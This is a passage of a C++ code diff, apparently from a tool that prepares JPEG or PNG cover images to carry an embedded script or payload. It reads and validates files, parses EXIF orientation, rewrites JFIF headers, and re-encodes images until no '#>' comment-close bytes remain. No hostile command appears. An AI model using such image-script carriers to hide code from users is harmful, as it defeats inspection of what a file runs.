throw std::runtime_error(std::format("Error: File \"{}\" changed while it was being read.", path.string()));
|
||||
}
|
||||
}
|
||||
|
||||
void validateJpegOrPngMarker(std::span<const Byte> bytes); // forward decl
|
||||
}
|
||||
|
||||
[[nodiscard]] static bool isPng(std::span<const Byte> bytes) {
|
||||
constexpr std::array<Byte, 4> PNG_SIG = {
|
||||
static_cast<Byte>(0x89), static_cast<Byte>(0x50),
|
||||
static_cast<Byte>(0x4E), static_cast<Byte>(0x47)
|
||||
};
|
||||
return bytes.size() >= 4 &&
|
||||
std::ranges::equal(bytes.first(4), std::span<const Byte>(PNG_SIG));
|
||||
}
|
||||
|
||||
namespace {
|
||||
void validateJpegOrPngMarker(std::span<const Byte> bytes) {
|
||||
if (bytes.size() < 2) {
|
||||
throw std::runtime_error("File Type Error: File too small.");
|
||||
}
|
||||
const bool is_jpeg = bytes[0] == 0xFF && bytes[1] == 0xD8;
|
||||
const bool is_png_val = isPng(bytes);
|
||||
if (!is_jpeg && !is_png_val) {
|
||||
throw std::runtime_error(
|
||||
"File Type Error: Not a valid JPEG or PNG (missing SOI/PNG signature).");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Converts a PNG (or any stb_image-supported format) to JPEG in memory.
|
||||
// Uses stb_image to decode, then libjpeg-turbo to re-encode as progressive JPEG.
|
||||
[[nodiscard]] vBytes convertPngToJpeg(std::span<const Byte> img_data) {
|
||||
int w = 0, h = 0, channels = 0;
|
||||
unsigned char* pixels = stbi_load_from_memory(
|
||||
reinterpret_cast<const stbi_uc*>(img_data.data()),
|
||||
static_cast<int>(img_data.size()),
|
||||
&w, &h, &channels,
|
||||
3 // force RGB output
|
||||
);
|
||||
if (!pixels) {
|
||||
throw std::runtime_error("Image Error: Failed to decode PNG (stb_image error).");
|
||||
}
|
||||
|
||||
unsigned char* jpeg_buf = nullptr;
|
||||
unsigned long jpeg_size = 0;
|
||||
tjhandle tj = tjInitCompress();
|
||||
if (!tj) {
|
||||
stbi_image_free(pixels);
|
||||
throw std::runtime_error("Image Error: tjInitCompress failed during PNG conversion.");
|
||||
}
|
||||
|
||||
constexpr int QUALITY = 92;
|
||||
if (tjCompress2(tj, pixels, w, 0, h, TJPF_RGB,
|
||||
&jpeg_buf, &jpeg_size,
|
||||
TJSAMP_444, QUALITY, TJFLAG_PROGRESSIVE) != 0) {
|
||||
const std::string err = tjGetErrorStr2(tj);
|
||||
stbi_image_free(pixels);
|
||||
tjDestroy(tj);
|
||||
throw std::runtime_error(std::format("Image Error: PNG→JPEG encoding failed: {}", err));
|
||||
}
|
||||
|
||||
vBytes result(jpeg_buf, jpeg_buf + jpeg_size);
|
||||
tjFree(jpeg_buf);
|
||||
tjDestroy(tj);
|
||||
stbi_image_free(pixels);
|
||||
return result;
|
||||
}
|
||||
|
||||
vBytes readFile(const fs::path& path, FileTypeCheck file_type) {
|
||||
if (!hasValidFilename(path)) {
|
||||
throw std::runtime_error("Invalid Input Error: Unsupported characters in filename arguments.");
|
||||
}
|
||||
|
||||
auto open_file = openRegularFileNoFollow(path);
|
||||
const std::size_t file_size = fileSizeFromStat(path, open_file.status);
|
||||
validateFileType(path, file_size, file_type);
|
||||
|
||||
vBytes vec(file_size);
|
||||
readExact(path, open_file.fd.get(), vec);
|
||||
verifyFileUnchanged(path, open_file.fd.get(), open_file.status, file_size);
|
||||
|
||||
if (file_type == FileTypeCheck::cover_image) {
|
||||
validateJpegOrPngMarker(vec);
|
||||
// If the cover is PNG, convert it to JPEG transparently.
|
||||
// The engine only processes JPEG, so PNG must be converted first.
|
||||
if (isPng(vec)) {
|
||||
vec = convertPngToJpeg(vec);
|
||||
}
|
||||
}
|
||||
|
||||
return vec;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <cstddef>
|
||||
#include <filesystem>
|
||||
|
||||
enum class FileTypeCheck : std::uint8_t {
|
||||
cover_image = 1,
|
||||
script_file = 2,
|
||||
payload_file = 3
|
||||
};
|
||||
|
||||
[[nodiscard]] vBytes readFile(
|
||||
const std::filesystem::path& path,
|
||||
FileTypeCheck file_type = FileTypeCheck::script_file);
|
||||
@@ -0,0 +1,784 @@
|
||||
#define STB_IMAGE_RESIZE_IMPLEMENTATION
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wconversion"
|
||||
#pragma GCC diagnostic ignored "-Wsign-conversion"
|
||||
#include "stb_image/include/stb_image_resize2.h"
|
||||
#pragma GCC diagnostic pop
|
||||
|
||||
#include "jpeg_process.h"
|
||||
|
||||
#include <turbojpeg.h>
|
||||
|
||||
#include <algorithm>
|
||||
#include <array>
|
||||
#include <cstdint>
|
||||
#include <cstdio>
|
||||
#include <cstring>
|
||||
#include <format>
|
||||
#include <iostream>
|
||||
#include <limits>
|
||||
#include <optional>
|
||||
#include <print>
|
||||
#include <span>
|
||||
#include <stdexcept>
|
||||
#include <string_view>
|
||||
#include <utility>
|
||||
|
||||
namespace {
|
||||
constexpr int MIN_COVER_IMAGE_DIMENSION = 400;
|
||||
constexpr int MAX_COVER_IMAGE_DIMENSION = 8'192;
|
||||
constexpr std::size_t MAX_COVER_IMAGE_PIXELS = 25'000'000;
|
||||
constexpr std::size_t JFIF_COMPATIBILITY_MARKER_INDEX = 0x0D;
|
||||
constexpr int START_QUALITY = 97;
|
||||
constexpr int MIN_SAME_DIMENSION_QUALITY = 75;
|
||||
constexpr int MIN_JPEG_QUALITY = 1;
|
||||
constexpr int MAX_JPEG_QUALITY = 100;
|
||||
constexpr int MAX_RESIZE_ATTEMPTS = 300;
|
||||
constexpr int PROGRESSIVE_JPEG_FLAGS = TJFLAG_PROGRESSIVE;
|
||||
constexpr int DECODE_PIXEL_FORMAT = TJPF_RGB;
|
||||
constexpr int DECODE_BYTES_PER_PIXEL = 3;
|
||||
constexpr stbir_pixel_layout RESIZE_PIXEL_LAYOUT = STBIR_RGB;
|
||||
constexpr auto COMMENT_BLOCK_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
|
||||
constexpr auto CLEAN_JFIF_SIG = std::to_array<Byte>({
|
||||
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
|
||||
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
|
||||
});
|
||||
|
||||
struct ImageSize {
|
||||
int width = 0;
|
||||
int height = 0;
|
||||
};
|
||||
|
||||
struct JpegSegment {
|
||||
Byte marker = 0;
|
||||
std::size_t marker_offset = 0;
|
||||
std::size_t payload_offset = 0;
|
||||
std::size_t payload_size = 0;
|
||||
};
|
||||
|
||||
constexpr Byte JPEG_MARKER_SOS = 0xDA;
|
||||
constexpr Byte JPEG_MARKER_DQT = 0xDB;
|
||||
constexpr Byte JPEG_MARKER_APP1 = 0xE1;
|
||||
|
||||
[[nodiscard]] bool containsCommentBlockClose(std::span<const Byte> jpg) {
|
||||
if (jpg.size() < 2) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const Byte* cursor = jpg.data();
|
||||
const Byte* const last_candidate = jpg.data() + (jpg.size() - 1);
|
||||
|
||||
while (cursor < last_candidate) {
|
||||
const auto remaining = static_cast<std::size_t>(last_candidate - cursor);
|
||||
const void* hit = std::memchr(cursor, COMMENT_BLOCK_CLOSE_SIG[0], remaining);
|
||||
if (hit == nullptr) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const auto* pos = static_cast<const Byte*>(hit);
|
||||
if (pos[1] == COMMENT_BLOCK_CLOSE_SIG[1]) {
|
||||
return true;
|
||||
}
|
||||
|
||||
cursor = pos + 1;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::optional<uint16_t> readBigEndian16(std::span<const Byte> bytes, std::size_t offset) {
|
||||
if (offset > bytes.size() || bytes.size() - offset < 2) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
|
||||
static_cast<uint16_t>(bytes[offset + 1]));
|
||||
}
|
||||
|
||||
[[nodiscard]] bool markerHasNoPayload(Byte marker) {
|
||||
return marker == 0x01 || marker == 0xD8 || marker == 0xD9 ||
|
||||
(marker >= 0xD0 && marker <= 0xD7);
|
||||
}
|
||||
|
||||
template <typename Predicate>
|
||||
[[nodiscard]] std::optional<JpegSegment> findJpegHeaderSegment(std::span<const Byte> jpg, Predicate predicate) {
|
||||
if (jpg.size() < 2 || jpg[0] != 0xFF || jpg[1] != 0xD8) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
std::size_t pos = 2;
|
||||
|
||||
while (pos < jpg.size()) {
|
||||
if (jpg[pos] != 0xFF) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
const std::size_t marker_offset = pos;
|
||||
|
||||
while (pos < jpg.size() && jpg[pos] == 0xFF) {
|
||||
++pos;
|
||||
}
|
||||
|
||||
if (pos >= jpg.size()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
const Byte marker = jpg[pos++];
|
||||
|
||||
if (marker == 0x00) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
if (markerHasNoPayload(marker)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
const auto segment_length_opt = readBigEndian16(jpg, pos);
|
||||
if (!segment_length_opt) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
const std::size_t segment_length = *segment_length_opt;
|
||||
if (segment_length < 2 || pos > jpg.size() - segment_length) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
const std::size_t payload_offset = pos + 2;
|
||||
const JpegSegment segment{
|
||||
.marker = marker,
|
||||
.marker_offset = marker_offset,
|
||||
.payload_offset = payload_offset,
|
||||
.payload_size = segment_length - 2
|
||||
};
|
||||
|
||||
if (predicate(segment)) {
|
||||
return segment;
|
||||
}
|
||||
|
||||
if (marker == JPEG_MARKER_SOS) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
pos += segment_length;
|
||||
}
|
||||
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::size_t checkedPixelCount(int width, int height) {
|
||||
if (width <= 0 || height <= 0) {
|
||||
throw std::runtime_error("Image Error: Invalid image dimensions.");
|
||||
}
|
||||
|
||||
const auto pixel_count = static_cast<std::size_t>(width) * static_cast<std::size_t>(height);
|
||||
if (pixel_count > MAX_COVER_IMAGE_PIXELS) {
|
||||
throw std::runtime_error("Image Error: Pixel count exceeds the supported maximum of 25 megapixels.");
|
||||
}
|
||||
|
||||
return pixel_count;
|
||||
}
|
||||
|
||||
void validateImageDimensions(int width, int height) {
|
||||
if (width < MIN_COVER_IMAGE_DIMENSION || height < MIN_COVER_IMAGE_DIMENSION) {
|
||||
throw std::runtime_error("Image Error: Dimensions are too small.\nFor platform compatibility, cover image must be at least 400px for both width and height.");
|
||||
}
|
||||
|
||||
if (width > MAX_COVER_IMAGE_DIMENSION || height > MAX_COVER_IMAGE_DIMENSION) {
|
||||
throw std::runtime_error(std::format("Image Error: Dimensions exceed the supported maximum of {}px.", MAX_COVER_IMAGE_DIMENSION));
|
||||
}
|
||||
|
||||
(void)checkedPixelCount(width, height);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::size_t checkedPixelBufferSize(int width, int height, int bytes_per_pixel) {
|
||||
if (bytes_per_pixel <= 0) {
|
||||
throw std::runtime_error("Image Error: Invalid pixel format.");
|
||||
}
|
||||
|
||||
const auto pixel_count = checkedPixelCount(width, height);
|
||||
if (pixel_count > std::numeric_limits<std::size_t>::max() / static_cast<std::size_t>(bytes_per_pixel)) {
|
||||
throw std::runtime_error("Image dimensions too large for pixel buffer allocation.");
|
||||
}
|
||||
|
||||
return pixel_count * static_cast<std::size_t>(bytes_per_pixel);
|
||||
}
|
||||
|
||||
[[nodiscard]] bool hasCompatibleJfifHeader(std::span<const Byte> jpg) {
|
||||
constexpr auto COMPATIBLE_JFIF_SIG = std::to_array<Byte>({
|
||||
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
|
||||
0x00, 0x01, 0x01, 0x19, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
|
||||
});
|
||||
|
||||
return jpg.size() >= COMPATIBLE_JFIF_SIG.size() &&
|
||||
std::ranges::equal(jpg.first(COMPATIBLE_JFIF_SIG.size()), COMPATIBLE_JFIF_SIG);
|
||||
}
|
||||
|
||||
[[nodiscard]] bool isAlreadyCompatible(std::span<const Byte> jpg) {
|
||||
return hasCompatibleJfifHeader(jpg) && !containsCommentBlockClose(jpg);
|
||||
}
|
||||
|
||||
struct TiffReader {
|
||||
std::span<const Byte> bytes;
|
||||
bool little_endian = false;
|
||||
|
||||
[[nodiscard]] std::optional<uint16_t> read16(std::size_t offset) const {
|
||||
if (offset > bytes.size() || bytes.size() - offset < 2) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
if (little_endian) {
|
||||
return static_cast<uint16_t>(static_cast<uint16_t>(bytes[offset]) |
|
||||
(static_cast<uint16_t>(bytes[offset + 1]) << 8));
|
||||
}
|
||||
|
||||
return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
|
||||
static_cast<uint16_t>(bytes[offset + 1]));
|
||||
}
|
||||
|
||||
[[nodiscard]] std::optional<uint32_t> read32(std::size_t offset) const {
|
||||
if (offset > bytes.size() || bytes.size() - offset < 4) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
if (little_endian) {
|
||||
return static_cast<uint32_t>(bytes[offset]) |
|
||||
(static_cast<uint32_t>(bytes[offset + 1]) << 8) |
|
||||
(static_cast<uint32_t>(bytes[offset + 2]) << 16) |
|
||||
(static_cast<uint32_t>(bytes[offset + 3]) << 24);
|
||||
}
|
||||
|
||||
return (static_cast<uint32_t>(bytes[offset]) << 24) |
|
||||
(static_cast<uint32_t>(bytes[offset + 1]) << 16) |
|
||||
(static_cast<uint32_t>(bytes[offset + 2]) << 8) |
|
||||
static_cast<uint32_t>(bytes[offset + 3]);
|
||||
}
|
||||
};
|
||||
|
||||
[[nodiscard]] std::optional<bool> tiffIsLittleEndian(std::span<const Byte> tiff_data) {
|
||||
if (tiff_data.size() < 2) {
|
||||
return std::nullopt;
|
||||
}
|
||||
if (tiff_data[0] == 'I' && tiff_data[1] == 'I') {
|
||||
return true;
|
||||
}
|
||||
if (tiff_data[0] == 'M' && tiff_data[1] == 'M') {
|
||||
return false;
|
||||
}
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::optional<uint16_t> exifOrientation(std::span<const Byte> jpg) {
|
||||
constexpr std::size_t EXIF_HEADER_SIZE = 6;
|
||||
constexpr auto EXIF_SIG = std::to_array<Byte>({'E', 'x', 'i', 'f', '\0', '\0'});
|
||||
|
||||
const auto exif_segment = findJpegHeaderSegment(jpg, [&](const JpegSegment& segment) {
|
||||
return segment.marker == JPEG_MARKER_APP1 &&
|
||||
segment.payload_size >= EXIF_HEADER_SIZE &&
|
||||
std::ranges::equal(jpg.subspan(segment.payload_offset, EXIF_HEADER_SIZE), EXIF_SIG);
|
||||
});
|
||||
|
||||
if (!exif_segment) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
std::span<const Byte> payload = jpg.subspan(exif_segment->payload_offset, exif_segment->payload_size);
|
||||
std::span<const Byte> tiff_data = payload.subspan(EXIF_HEADER_SIZE);
|
||||
|
||||
if (tiff_data.size() < 8) return std::nullopt;
|
||||
|
||||
const auto little_endian = tiffIsLittleEndian(tiff_data);
|
||||
if (!little_endian) return std::nullopt;
|
||||
|
||||
const TiffReader tiff{ .bytes = tiff_data, .little_endian = *little_endian };
|
||||
|
||||
if (tiff.read16(2) != 0x002A) return std::nullopt;
|
||||
|
||||
const auto ifd_offset = tiff.read32(4);
|
||||
if (!ifd_offset) return std::nullopt;
|
||||
|
||||
// Need at least 2 bytes at ifd_offset for the entry count.
|
||||
if (*ifd_offset < 8 ||
|
||||
static_cast<std::size_t>(*ifd_offset) > tiff_data.size() ||
|
||||
tiff_data.size() - static_cast<std::size_t>(*ifd_offset) < 2) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
const auto entry_count = tiff.read16(*ifd_offset);
|
||||
if (!entry_count) return std::nullopt;
|
||||
|
||||
const std::size_t entries_offset = static_cast<std::size_t>(*ifd_offset) + 2;
|
||||
|
||||
constexpr uint16_t TAG_ORIENTATION = 0x0112;
|
||||
constexpr uint16_t TIFF_TYPE_SHORT = 3;
|
||||
constexpr std::size_t ENTRY_SIZE = 12;
|
||||
|
||||
// Bound the loop to the number of entries that actually fit — guards
|
||||
// against a malicious entry_count larger than the payload allows.
|
||||
const std::size_t max_entries =
|
||||
(tiff_data.size() - entries_offset) / ENTRY_SIZE;
|
||||
const std::size_t bounded_count =
|
||||
std::min<std::size_t>(*entry_count, max_entries);
|
||||
|
||||
for (std::size_t i = 0, current_entry = entries_offset; i < bounded_count; ++i, current_entry += ENTRY_SIZE) {
|
||||
const auto tag_id = tiff.read16(current_entry);
|
||||
if (tag_id == TAG_ORIENTATION) {
|
||||
const auto type = tiff.read16(current_entry + 2);
|
||||
const auto count = tiff.read32(current_entry + 4);
|
||||
const auto value = tiff.read16(current_entry + 8);
|
||||
|
||||
if (!type || !count || !value ||
|
||||
*type != TIFF_TYPE_SHORT || *count != 1) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
[[nodiscard]] int getTransformOp(uint16_t orientation) {
|
||||
switch (orientation) {
|
||||
case 2: return TJXOP_HFLIP;
|
||||
case 3: return TJXOP_ROT180;
|
||||
case 4: return TJXOP_VFLIP;
|
||||
case 5: return TJXOP_TRANSPOSE;
|
||||
case 6: return TJXOP_ROT90;
|
||||
case 7: return TJXOP_TRANSVERSE;
|
||||
case 8: return TJXOP_ROT270;
|
||||
default: return TJXOP_NONE;
|
||||
}
|
||||
}
|
||||
|
||||
struct TJHandle {
|
||||
tjhandle handle = nullptr;
|
||||
explicit TJHandle(tjhandle raw_handle = nullptr) : handle(raw_handle) {}
|
||||
~TJHandle() { if (handle) tjDestroy(handle); }
|
||||
TJHandle(const TJHandle&) = delete;
|
||||
TJHandle& operator=(const TJHandle&) = delete;
|
||||
TJHandle(TJHandle&& other) noexcept : handle(std::exchange(other.handle, nullptr)) {}
|
||||
TJHandle& operator=(TJHandle&& other) noexcept {
|
||||
if (this != &other) {
|
||||
if (handle) tjDestroy(handle);
|
||||
handle = std::exchange(other.handle, nullptr);
|
||||
}
|
||||
return *this;
|
||||
}
|
||||
[[nodiscard]] tjhandle get() const { return handle; }
|
||||
[[nodiscard]] explicit operator bool() const { return handle != nullptr; }
|
||||
};
|
||||
|
||||
[[nodiscard]] TJHandle makeHandle(tjhandle raw_handle, std::string_view init_name) {
|
||||
if (!raw_handle) {
|
||||
throw std::runtime_error(std::format("{} failed.", init_name));
|
||||
}
|
||||
return TJHandle(raw_handle);
|
||||
}
|
||||
|
||||
[[nodiscard]] unsigned long toTurboJpegSize(std::size_t size) {
|
||||
if (size == 0 || size > static_cast<std::size_t>(std::numeric_limits<unsigned long>::max())) {
|
||||
throw std::runtime_error("Image Error: JPEG buffer size is unsupported by TurboJPEG.");
|
||||
}
|
||||
return static_cast<unsigned long>(size);
|
||||
}
|
||||
|
||||
[[nodiscard]] ImageSize readJpegSize(tjhandle handle, std::span<const Byte> jpg, std::string_view error_prefix) {
|
||||
ImageSize size{};
|
||||
int jpeg_subsamp = 0;
|
||||
int jpeg_colorspace = 0;
|
||||
|
||||
if (tjDecompressHeader3(
|
||||
handle,
|
||||
jpg.data(),
|
||||
toTurboJpegSize(jpg.size()),
|
||||
&size.width,
|
||||
&size.height,
|
||||
&jpeg_subsamp,
|
||||
&jpeg_colorspace) != 0) {
|
||||
throw std::runtime_error(std::format("{}: {}", error_prefix, tjGetErrorStr2(handle)));
|
||||
}
|
||||
|
||||
validateImageDimensions(size.width, size.height);
|
||||
return size;
|
||||
}
|
||||
|
||||
void validateJpegHeader(std::span<const Byte> jpg) {
|
||||
auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
|
||||
(void)readJpegSize(decompressor.get(), jpg, "Image Error");
|
||||
}
|
||||
|
||||
struct TJBuffer {
|
||||
unsigned char* data = nullptr;
|
||||
TJBuffer() = default;
|
||||
~TJBuffer() { if (data) tjFree(data); }
|
||||
TJBuffer(const TJBuffer&) = delete;
|
||||
TJBuffer& operator=(const TJBuffer&) = delete;
|
||||
};
|
||||
|
||||
void assignFromTJBuffer(vBytes& out, const TJBuffer& buffer, unsigned long byte_count) {
|
||||
if (!buffer.data || byte_count == 0) {
|
||||
throw std::runtime_error("Image Error: TurboJPEG produced an empty output buffer.");
|
||||
}
|
||||
|
||||
if (byte_count > static_cast<unsigned long>(std::numeric_limits<std::size_t>::max()) ||
|
||||
byte_count > static_cast<unsigned long>(std::numeric_limits<std::ptrdiff_t>::max())) {
|
||||
throw std::runtime_error("Image Error: TurboJPEG output is too large to store on this platform.");
|
||||
}
|
||||
|
||||
const auto size = static_cast<std::size_t>(byte_count);
|
||||
out.assign(buffer.data, buffer.data + size);
|
||||
}
|
||||
|
||||
struct DecodedImage {
|
||||
ImageSize size{};
|
||||
vBytes pixels;
|
||||
};
|
||||
|
||||
struct EncodeCandidate {
|
||||
int subsamp = TJSAMP_444;
|
||||
int flags = PROGRESSIVE_JPEG_FLAGS;
|
||||
std::string_view label;
|
||||
};
|
||||
|
||||
constexpr auto ENCODE_CANDIDATES = std::to_array<EncodeCandidate>({
|
||||
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS, .label = "4:4:4 default" },
|
||||
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_ACCURATEDCT, .label = "4:4:4 accurate" },
|
||||
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_FASTDCT, .label = "4:4:4 fast" }
|
||||
});
|
||||
|
||||
void validateJpegQuality(int quality_val) {
|
||||
if (quality_val < MIN_JPEG_QUALITY || quality_val > MAX_JPEG_QUALITY) {
|
||||
throw std::runtime_error("Image Error: JPEG quality value is outside the supported range.");
|
||||
}
|
||||
}
|
||||
|
||||
void printEncodeProgress(std::string_view phase, std::string_view detail, int quality_val, int width, int height) {
|
||||
std::print("\r{:<10} {:<14} | Quality: {:>3}% | Width: {:>5} | Height: {:>5}",
|
||||
phase,
|
||||
detail,
|
||||
quality_val,
|
||||
width,
|
||||
height);
|
||||
std::fflush(stdout);
|
||||
}
|
||||
|
||||
void compressPixelsToJpeg(
|
||||
vBytes& image_file_vec,
|
||||
std::span<const Byte> pixels,
|
||||
ImageSize size,
|
||||
tjhandle compressor,
|
||||
int quality_val,
|
||||
const EncodeCandidate& candidate) {
|
||||
|
||||
validateJpegQuality(quality_val);
|
||||
|
||||
if (pixels.empty()) {
|
||||
throw std::runtime_error("Image Error: Empty pixel buffer.");
|
||||
}
|
||||
if ((candidate.flags & TJFLAG_PROGRESSIVE) == 0) {
|
||||
throw std::runtime_error("Internal Error: JPEG compression candidate is not progressive.");
|
||||
}
|
||||
|
||||
TJBuffer jpegBuf;
|
||||
unsigned long jpegSize = 0;
|
||||
|
||||
if (tjCompress2(
|
||||
compressor,
|
||||
pixels.data(),
|
||||
size.width,
|
||||
0,
|
||||
size.height,
|
||||
DECODE_PIXEL_FORMAT,
|
||||
&jpegBuf.data,
|
||||
&jpegSize,
|
||||
candidate.subsamp,
|
||||
quality_val,
|
||||
candidate.flags) != 0) {
|
||||
throw std::runtime_error(std::format("tjCompress2: {}", tjGetErrorStr2(compressor)));
|
||||
}
|
||||
|
||||
assignFromTJBuffer(image_file_vec, jpegBuf, jpegSize);
|
||||
}
|
||||
|
||||
[[nodiscard]] DecodedImage decodeJpeg(std::span<const Byte> jpg) {
|
||||
auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
|
||||
const auto image_size = readJpegSize(decompressor.get(), jpg, "tjDecompressHeader3");
|
||||
|
||||
vBytes decoded_image_vec(checkedPixelBufferSize(image_size.width, image_size.height, DECODE_BYTES_PER_PIXEL));
|
||||
|
||||
if (tjDecompress2(
|
||||
decompressor.get(),
|
||||
jpg.data(),
|
||||
toTurboJpegSize(jpg.size()),
|
||||
decoded_image_vec.data(),
|
||||
image_size.width,
|
||||
0,
|
||||
image_size.height,
|
||||
DECODE_PIXEL_FORMAT,
|
||||
0) != 0) {
|
||||
throw std::runtime_error(std::format("tjDecompress2: {}", tjGetErrorStr2(decompressor.get())));
|
||||
}
|
||||
|
||||
return DecodedImage{
|
||||
.size = image_size,
|
||||
.pixels = std::move(decoded_image_vec)
|
||||
};
|
||||
}
|
||||
|
||||
void optimizeImage(vBytes& jpg_vec) {
|
||||
if (jpg_vec.empty()) {
|
||||
throw std::runtime_error("JPG image is empty!");
|
||||
}
|
||||
|
||||
auto transformer = makeHandle(tjInitTransform(), "tjInitTransform()");
|
||||
(void)readJpegSize(transformer.get(), jpg_vec, "Image Error");
|
||||
|
||||
tjtransform xform{};
|
||||
xform.op = getTransformOp(exifOrientation(jpg_vec).value_or(1));
|
||||
xform.options = TJXOPT_COPYNONE | TJXOPT_TRIM | TJXOPT_PROGRESSIVE;
|
||||
|
||||
TJBuffer dstBuffer;
|
||||
unsigned long dstSize = 0;
|
||||
|
||||
if (tjTransform(
|
||||
transformer.get(),
|
||||
jpg_vec.data(),
|
||||
toTurboJpegSize(jpg_vec.size()),
|
||||
1,
|
||||
&dstBuffer.data,
|
||||
&dstSize,
|
||||
&xform,
|
||||
0) != 0) {
|
||||
throw std::runtime_error(std::format("Image Error: {}", tjGetErrorStr2(transformer.get())));
|
||||
}
|
||||
|
||||
assignFromTJBuffer(jpg_vec, dstBuffer, dstSize);
|
||||
}
|
||||
|
||||
void resizeImage(
|
||||
vBytes& image_file_vec,
|
||||
const DecodedImage& source,
|
||||
vBytes& resize_scratch,
|
||||
tjhandle compressor,
|
||||
int quality_val,
|
||||
int decrease_dims_val,
|
||||
const EncodeCandidate& candidate) {
|
||||
|
||||
validateJpegQuality(quality_val);
|
||||
|
||||
if (source.size.width < decrease_dims_val || source.size.height < decrease_dims_val) {
|
||||
throw std::runtime_error(std::format("Image is too small to decrease by {} pixels.", decrease_dims_val));
|
||||
}
|
||||
|
||||
const int new_width = source.size.width - decrease_dims_val;
|
||||
const int new_height = source.size.height - decrease_dims_val;
|
||||
|
||||
if (new_width < MIN_COVER_IMAGE_DIMENSION || new_height < MIN_COVER_IMAGE_DIMENSION) {
|
||||
throw std::runtime_error("Image Compatibility Error: Unable to remove close-comment block sequences without shrinking below the 400px minimum.");
|
||||
}
|
||||
|
||||
printEncodeProgress("Resize", candidate.label, quality_val, new_width, new_height);
|
||||
|
||||
resize_scratch.resize(checkedPixelBufferSize(new_width, new_height, DECODE_BYTES_PER_PIXEL));
|
||||
|
||||
if (!stbir_resize_uint8_srgb(source.pixels.data(), source.size.width, source.size.height, 0, resize_scratch.data(), new_width, new_height, 0, RESIZE_PIXEL_LAYOUT)) {
|
||||
throw std::runtime_error("stbir_resize_uint8_srgb failed.");
|
||||
}
|
||||
|
||||
compressPixelsToJpeg(
|
||||
image_file_vec,
|
||||
resize_scratch,
|
||||
ImageSize{ .width = new_width, .height = new_height },
|
||||
compressor,
|
||||
quality_val,
|
||||
candidate);
|
||||
}
|
||||
|
||||
[[nodiscard]] std::size_t findRequiredDqtOffset(std::span<const Byte> jpg) {
|
||||
const auto dqt = findJpegHeaderSegment(jpg, [](const JpegSegment& segment) {
|
||||
return segment.marker == JPEG_MARKER_DQT;
|
||||
});
|
||||
|
||||
if (!dqt) {
|
||||
throw std::runtime_error("Image File Error: No DQT segment found (corrupt or unsupported JPG).");
|
||||
}
|
||||
|
||||
return dqt->marker_offset;
|
||||
}
|
||||
|
||||
constexpr int AUTO_DOWNSCALE_MAX_DIM = 2048;
|
||||
|
||||
void downscaleToFit(vBytes& image_file_vec, int max_dim) {
|
||||
const DecodedImage source = decodeJpeg(image_file_vec);
|
||||
|
||||
const int orig_w = source.size.width;
|
||||
const int orig_h = source.size.height;
|
||||
const int max_current = std::max(orig_w, orig_h);
|
||||
|
||||
if (max_current <= max_dim) return;
|
||||
|
||||
const double scale = static_cast<double>(max_dim) / static_cast<double>(max_current);
|
||||
const int new_w = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_w) * scale));
|
||||
const int new_h = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_h) * scale));
|
||||
|
||||
vBytes resized_pixels(checkedPixelBufferSize(new_w, new_h, DECODE_BYTES_PER_PIXEL));
|
||||
|
||||
if (!stbir_resize_uint8_srgb(
|
||||
source.pixels.data(), orig_w, orig_h, 0,
|
||||
resized_pixels.data(), new_w, new_h, 0, RESIZE_PIXEL_LAYOUT)) {
|
||||
throw std::runtime_error("Image Error: Failed to downscale image.");
|
||||
}
|
||||
|
||||
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
|
||||
compressPixelsToJpeg(
|
||||
image_file_vec, resized_pixels,
|
||||
ImageSize{ .width = new_w, .height = new_h },
|
||||
compressor.get(), START_QUALITY, ENCODE_CANDIDATES[0]);
|
||||
|
||||
std::println("Auto-downscaled from {}x{} to {}x{} for processing efficiency.", orig_w, orig_h, new_w, new_h);
|
||||
}
|
||||
|
||||
